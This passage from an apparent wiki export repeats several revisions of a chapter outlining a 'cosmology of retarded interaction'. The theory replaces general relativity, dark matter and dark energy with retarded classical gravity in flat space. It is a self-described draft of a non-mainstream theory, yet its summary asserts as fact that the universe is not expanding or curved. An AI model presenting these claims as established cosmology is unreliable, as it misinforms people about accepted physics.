# '''Retarded gravitation:''' The gravitational effect propagates at the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;. The potential &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; at a point &lt;math display=&quot;inline&quot;&gt;\mathbf {r}&lt;/math&gt; at time &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; depends on the state of the source at time &lt;math display=&quot;inline&quot;&gt;t - \Delta t&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\Delta t = \frac {r} {c}&lt;/math&gt;.

=== The mathematical core ===
For the mathematical formulation, the gravitational potential can be substituted into the wave equation:

:&lt;math&gt;\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho&lt;/math&gt;

The solution to this wave equation is the retarded potential:

:&lt;math&gt;\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'&lt;/math&gt;

In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials.

=== Cosmological mechanisms ===
==== The apparent expansion ====
In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space.

Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift).

==== A replacement for dark matter ====
In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter which is even changing over time. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies.

The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as &lt;math display=&quot;inline&quot;&gt;1 / r^2&lt;/math&gt; because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics.

==== A replacement for dark energy ====
In CIR, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an outward acceleration of the test mass, since opposing masses reach the test mass with differing decelerations.

Consequently, all mass points moving in the universe drift apart at an accelerating rate because the acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution that continuously amplifies the effect of the retarded potentials.

The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static Euclidean space. If space itself were expanding, this would call into question or modify the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt; as a constant parameter for the retardation &lt;math display=&quot;inline&quot;&gt;\Delta t = r/c&lt;/math&gt;. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion.

If “expansion” means that galaxies are physically moving away from one another (as in a classical gas), then this is the core of the cosmology of retarded interaction.

In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When the masses are far enough apart that the time delay &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion.

The farther they drift, the larger &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; becomes, and the weaker the retarded forces become the expansion accelerates without the need for dark energy.

==== The universe as a black hole ====
In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity &lt;math display=&quot;inline&quot;&gt;v_e \geq c&lt;/math&gt; is reached.

If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external or central source.

Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt;. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass.

=== Comparison with the standard model of cosmology ===
The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology.

{| class=&quot;wikitable&quot;
|+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI)
|-
! Concept !! Standard model of cosmology (GR / ΛCDM) !! cosmology of retarded interaction (CRI)
|-
| Principle of equivalence || Ad-hoc assumption, General Theory of Relativity || No, gravitation is a force
|-
| Homogenity || Ad-hoc assumption, cosmological principle || No homogenity, higher mass and energy densities in outer regions of a kinematic universe
|-
| Isotropy || Ad-hoc assumption, cosmological principle || Only from the centre of a kinematic universe
|-
| Copernican principle || Ad-hoc assumption || Milky Way in Local Group near the centre of a kinematic universe
|-
| Dark matter || Ad-hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials
|-
| Dark energy || Ad-hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials
|-
| Rotation curves of spiral galaxies || Ad-hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter
|-
| High-redshift objects || Ad-hoc assumption of expanding spacetime || Gravitational redshift due to baryonic matter in black shell 
|-
| Geometry || Dynamic differential geometry|| Static Euclidean geometry
|-
| Spacetime || Curved space || Minkowski space
|}

=== Summary ===
The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting orbits and light signals create the illusion of an expanding geometry dominated by dark matter and dark energy.

The cosmology of retarded interaction consistently adheres to the axioms. It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of General Relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry.

The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials.

cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of space, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to General Relativity.</text>
      <sha1>bc530l5hiq4v39zqfh87ej6l296f2c1</sha1>
    </revision>
    <revision>
      <id>4670608</id>
      <parentid>4670606</parentid>
      <timestamp>2026-09-17T09:47:39Z</timestamp>
      <contributor>
        <username>Bautsch</username>
        <id>630029</id>
      </contributor>
      <comment>/* A replacement for dark energy */ masses in front of the test mass / spacetime</comment>
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      <format>text/x-wiki</format>
      <text bytes="10512" sha1="d0zpobh9fxuxpvvgkusnkpkz63nyfpm" xml:space="preserve">&lt;noinclude&gt;
{{Chapter navigation|Gravitational redshift|Conclusion}}
&lt;/noinclude&gt;

== Cosmology of retarded interaction ==
Modern astrophysics is based on the General Theory of Relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the General Theory of Relativity explains geometrically.

To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of General Relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on Euclidean geometry in Minkowski space.

The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of space.

In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined.

=== The axioms of retarded interaction ===
Established physics is based on three pillars, which are used to build the cosmology of retarded interaction:

# '''Classical mechanics:''' The force &lt;math display=&quot;inline&quot;&gt;F = m \cdot a&lt;/math&gt; as the basis of the acceleration &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; of a mass &lt;math display=&quot;inline&quot;&gt;m&lt;/math&gt; .
# '''Relativistic kinematics:''' time dilation and length contraction according to the Special Theory of Relativity, but without the curvature of spacetime.
# '''Retarded gravitation:''' The gravitational effect propagates at the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;. The potential &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; at a point &lt;math display=&quot;inline&quot;&gt;\mathbf {r}&lt;/math&gt; at time &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; depends on the state of the source at time &lt;math display=&quot;inline&quot;&gt;t - \Delta t&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\Delta t = \frac {r} {c}&lt;/math&gt;.

=== The mathematical core ===
For the mathematical formulation, the gravitational potential can be substituted into the wave equation:

:&lt;math&gt;\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho&lt;/math&gt;

The solution to this wave equation is the retarded potential:

:&lt;math&gt;\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'&lt;/math&gt;

In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials.

=== Cosmological mechanisms ===
==== The apparent expansion ====
In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space.

Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift).

==== A replacement for dark matter ====
In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter which is even changing over time. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies.

The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as &lt;math display=&quot;inline&quot;&gt;1 / r^2&lt;/math&gt; because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics.

==== A replacement for dark energy ====
In the cosmology of retarded interaction, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an net outward acceleration of the test mass, since masses in front of the test mass cause stronger retarded forces than opposing masses that reach the test mass with attenuated retarded forces.

Consequently, all mass points moving in the universe drift apart at an accelerating rate because the net acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution (black shell) that continuously amplifies the effect of the retarded potentials.

The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static Euclidean space. If spacetime itself were expanding, this would call into question or modify the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt; as a constant parameter for the retardation &lt;math display=&quot;inline&quot;&gt;\Delta t = r/c&lt;/math&gt;. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion.

In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When moving masses are far enough apart that the time delay &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion.

The farther they drift, the larger &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; becomes, and the weaker the retarded forces from the opposite side from the universe become the expansion accelerates without the need for dark energy.

==== The universe as a black hole ====
In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity &lt;math display=&quot;inline&quot;&gt;v_e \geq c&lt;/math&gt; is reached.

If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external or central source.

Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt;. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass.

=== Comparison with the standard model of cosmology ===
The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology.

{| class=&quot;wikitable&quot;
|+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI)
|-
! Concept !! Standard model of cosmology (GR / ΛCDM) !! cosmology of retarded interaction (CRI)
|-
| Principle of equivalence || Ad-hoc assumption, General Theory of Relativity || No, gravitation is a force
|-
| Homogenity || Ad-hoc assumption, cosmological principle || No homogenity, higher mass and energy densities in outer regions of a kinematic universe
|-
| Isotropy || Ad-hoc assumption, cosmological principle || Only from the centre of a kinematic universe
|-
| Copernican principle || Ad-hoc assumption || Milky Way in Local Group near the centre of a kinematic universe
|-
| Dark matter || Ad-hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials
|-
| Dark energy || Ad-hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials
|-
| Rotation curves of spiral galaxies || Ad-hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter
|-
| High-redshift objects || Ad-hoc assumption of expanding spacetime || Gravitational redshift due to baryonic matter in black shell 
|-
| Geometry || Dynamic differential geometry|| Static Euclidean geometry
|-
| Spacetime || Curved space || Minkowski space
|}

=== Summary ===
The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting orbits and light signals create the illusion of an expanding geometry dominated by dark matter and dark energy.

The cosmology of retarded interaction consistently adheres to the axioms. It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of General Relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry.

The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials.

cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of space, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to General Relativity.</text>
      <sha1>d0zpobh9fxuxpvvgkusnkpkz63nyfpm</sha1>
    </revision>
    <revision>
      <id>4670609</id>
      <parentid>4670608</parentid>
      <timestamp>2026-09-17T09:51:20Z</timestamp>
      <contributor>
        <username>Bautsch</username>
        <id>630029</id>
      </contributor>
      <comment>/* The universe as a black hole */ black shell</comment>
      <origin>4670609</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="10582" sha1="7fujltgd843l6r9u8zylwcfgp5evn7z" xml:space="preserve">&lt;noinclude&gt;
{{Chapter navigation|Gravitational redshift|Conclusion}}
&lt;/noinclude&gt;

== Cosmology of retarded interaction ==
Modern astrophysics is based on the General Theory of Relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the General Theory of Relativity explains geometrically.

To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of General Relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on Euclidean geometry in Minkowski space.

The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of space.

In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined.

=== The axioms of retarded interaction ===
Established physics is based on three pillars, which are used to build the cosmology of retarded interaction:

# '''Classical mechanics:''' The force &lt;math display=&quot;inline&quot;&gt;F = m \cdot a&lt;/math&gt; as the basis of the acceleration &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; of a mass &lt;math display=&quot;inline&quot;&gt;m&lt;/math&gt; .
# '''Relativistic kinematics:''' time dilation and length contraction according to the Special Theory of Relativity, but without the curvature of spacetime.
# '''Retarded gravitation:''' The gravitational effect propagates at the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;. The potential &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; at a point &lt;math display=&quot;inline&quot;&gt;\mathbf {r}&lt;/math&gt; at time &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; depends on the state of the source at time &lt;math display=&quot;inline&quot;&gt;t - \Delta t&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\Delta t = \frac {r} {c}&lt;/math&gt;.

=== The mathematical core ===
For the mathematical formulation, the gravitational potential can be substituted into the wave equation:

:&lt;math&gt;\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho&lt;/math&gt;

The solution to this wave equation is the retarded potential:

:&lt;math&gt;\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'&lt;/math&gt;

In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials.

=== Cosmological mechanisms ===
==== The apparent expansion ====
In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space.

Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift).

==== A replacement for dark matter ====
In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter which is even changing over time. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies.

The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as &lt;math display=&quot;inline&quot;&gt;1 / r^2&lt;/math&gt; because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics.

==== A replacement for dark energy ====
In the cosmology of retarded interaction, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an net outward acceleration of the test mass, since masses in front of the test mass cause stronger retarded forces than opposing masses that reach the test mass with attenuated retarded forces.

Consequently, all mass points moving in the universe drift apart at an accelerating rate because the net acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution (black shell) that continuously amplifies the effect of the retarded potentials.

The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static Euclidean space. If spacetime itself were expanding, this would call into question or modify the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt; as a constant parameter for the retardation &lt;math display=&quot;inline&quot;&gt;\Delta t = r/c&lt;/math&gt;. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion.

In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When moving masses are far enough apart that the time delay &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion.

The farther they drift, the larger &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; becomes, and the weaker the retarded forces from the opposite side from the universe become the expansion accelerates without the need for dark energy.

==== The universe as a black hole ====
In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity &lt;math display=&quot;inline&quot;&gt;v_e \geq c&lt;/math&gt; is reached.

If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external source which is located in the out regions of the universe. This region can be interpreted as a black shell.

Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass in the black shell.

=== Comparison with the standard model of cosmology ===
The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology.

{| class=&quot;wikitable&quot;
|+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI)
|-
! Concept !! Standard model of cosmology (GR / ΛCDM) !! cosmology of retarded interaction (CRI)
|-
| Principle of equivalence || Ad-hoc assumption, General Theory of Relativity || No, gravitation is a force
|-
| Homogenity || Ad-hoc assumption, cosmological principle || No homogenity, higher mass and energy densities in outer regions of a kinematic universe
|-
| Isotropy || Ad-hoc assumption, cosmological principle || Only from the centre of a kinematic universe
|-
| Copernican principle || Ad-hoc assumption || Milky Way in Local Group near the centre of a kinematic universe
|-
| Dark matter || Ad-hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials
|-
| Dark energy || Ad-hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials
|-
| Rotation curves of spiral galaxies || Ad-hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter
|-
| High-redshift objects || Ad-hoc assumption of expanding spacetime || Gravitational redshift due to baryonic matter in black shell 
|-
| Geometry || Dynamic differential geometry|| Static Euclidean geometry
|-
| Spacetime || Curved space || Minkowski space
|}

=== Summary ===
The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting orbits and light signals create the illusion of an expanding geometry dominated by dark matter and dark energy.

The cosmology of retarded interaction consistently adheres to the axioms. It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of General Relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry.

The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials.

cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of space, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to General Relativity.</text>
      <sha1>7fujltgd843l6r9u8zylwcfgp5evn7z</sha1>
    </revision>
    <revision>
      <id>4670611</id>
      <parentid>4670609</parentid>
      <timestamp>2026-09-17T09:53:32Z</timestamp>
      <contributor>
        <username>Bautsch</username>
        <id>630029</id>
      </contributor>
      <minor />
      <comment>/* Comparison with the standard model of cosmology */ Ad-hoc</comment>
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      <format>text/x-wiki</format>
      <text bytes="10582" sha1="i5u4edgfj084pn7rtysv80dav54used" xml:space="preserve">&lt;noinclude&gt;
{{Chapter navigation|Gravitational redshift|Conclusion}}
&lt;/noinclude&gt;

== Cosmology of retarded interaction ==
Modern astrophysics is based on the General Theory of Relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the General Theory of Relativity explains geometrically.

To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of General Relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on Euclidean geometry in Minkowski space.

The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of space.

In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined.

=== The axioms of retarded interaction ===
Established physics is based on three pillars, which are used to build the cosmology of retarded interaction:

# '''Classical mechanics:''' The force &lt;math display=&quot;inline&quot;&gt;F = m \cdot a&lt;/math&gt; as the basis of the acceleration &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; of a mass &lt;math display=&quot;inline&quot;&gt;m&lt;/math&gt; .
# '''Relativistic kinematics:''' time dilation and length contraction according to the Special Theory of Relativity, but without the curvature of spacetime.
# '''Retarded gravitation:''' The gravitational effect propagates at the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;. The potential &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; at a point &lt;math display=&quot;inline&quot;&gt;\mathbf {r}&lt;/math&gt; at time &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; depends on the state of the source at time &lt;math display=&quot;inline&quot;&gt;t - \Delta t&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\Delta t = \frac {r} {c}&lt;/math&gt;.

=== The mathematical core ===
For the mathematical formulation, the gravitational potential can be substituted into the wave equation:

:&lt;math&gt;\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho&lt;/math&gt;

The solution to this wave equation is the retarded potential:

:&lt;math&gt;\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'&lt;/math&gt;

In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials.

=== Cosmological mechanisms ===
==== The apparent expansion ====
In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space.

Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift).

==== A replacement for dark matter ====
In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter which is even changing over time. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies.

The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as &lt;math display=&quot;inline&quot;&gt;1 / r^2&lt;/math&gt; because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics.

==== A replacement for dark energy ====
In the cosmology of retarded interaction, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an net outward acceleration of the test mass, since masses in front of the test mass cause stronger retarded forces than opposing masses that reach the test mass with attenuated retarded forces.

Consequently, all mass points moving in the universe drift apart at an accelerating rate because the net acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution (black shell) that continuously amplifies the effect of the retarded potentials.

The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static Euclidean space. If spacetime itself were expanding, this would call into question or modify the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt; as a constant parameter for the retardation &lt;math display=&quot;inline&quot;&gt;\Delta t = r/c&lt;/math&gt;. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion.

In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When moving masses are far enough apart that the time delay &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion.

The farther they drift, the larger &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; becomes, and the weaker the retarded forces from the opposite side from the universe become the expansion accelerates without the need for dark energy.

==== The universe as a black hole ====
In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity &lt;math display=&quot;inline&quot;&gt;v_e \geq c&lt;/math&gt; is reached.

If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external source which is located in the out regions of the universe. This region can be interpreted as a black shell.

Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass in the black shell.

=== Comparison with the standard model of cosmology ===
The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology.

{| class=&quot;wikitable&quot;
|+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI)
|-
! Concept !! Standard model of cosmology (GR / ΛCDM) !! Cosmology of retarded interaction (CRI)
|-
| Principle of equivalence || Ad hoc assumption, General Theory of Relativity || No, gravitation is a force
|-
| Homogenity || Ad hoc assumption, cosmological principle || No homogenity, higher mass and energy densities in outer regions of a kinematic universe
|-
